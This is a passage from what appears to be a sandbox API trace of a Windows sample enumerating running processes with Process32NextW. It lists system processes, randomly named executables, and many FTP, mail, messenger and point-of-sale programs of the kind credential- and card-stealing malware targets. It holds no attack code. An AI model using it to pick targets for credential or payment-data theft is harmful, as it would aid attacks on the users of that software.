lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.145] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.146] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.146] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0101.147] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.148] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0101.149] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0101.150] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.150] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0101.151] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0101.151] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0101.152] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0101.273] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0101.274] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0101.274] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0101.275] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0101.276] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0101.277] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="actuallyutilization.exe")) returned 1 [0101.278] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0101.279] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="midnight_conclusions_venezuela.exe")) returned 1 [0101.279] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="capture guardian kits.exe")) returned 1 [0101.280] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="nursing op deputy.exe")) returned 1 [0101.280] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scenariooperatingdts.exe")) returned 1 [0101.281] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ranksphysicians.exe")) returned 1 [0101.281] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="inf distributors.exe")) returned 1 [0101.282] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sa_surf_dig.exe")) returned 1 [0101.283] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="powered.exe")) returned 1 [0101.284] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fiction.exe")) returned 1 [0101.284] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="methodology-iowa-inclusion.exe")) returned 1 [0101.285] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mhz.exe")) returned 1 [0101.286] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="stores predictions calculations.exe")) returned 1 [0101.286] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ogmothers.exe")) returned 1 [0101.287] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="beside-bedford.exe")) returned 1 [0101.288] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="curves.exe")) returned 1 [0101.288] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="vi-ieee.exe")) returned 1 [0101.289] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="costa.exe")) returned 1 [0101.289] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0101.290] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0101.291] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0101.292] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0101.293] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0101.294] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0101.295] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0101.296] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0101.297] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0101.298] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0101.299] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0101.300] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0101.301] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0101.302] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0101.302] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0101.303] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0101.304] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0101.305] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0101.306] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0101.307] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0101.308] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0101.447] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0101.448] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0101.449] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0101.450] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0101.451] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0101.451] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0101.452] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0101.453] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0101.454] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0101.455] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0101.456] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0101.457] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0101.458] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0101.459] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0101.460] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0101.461] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0101.462] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0101.463] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0101.463] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0101.464] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0101.527] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0101.528] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="nascar_challenges.exe")) returned 1 [0101.529] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments characterized converter.exe")) returned 1 [0101.530] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mlb-noon-origin.exe")) returned 1 [0101.531] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.532] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1064, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0101.533] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x3ac, 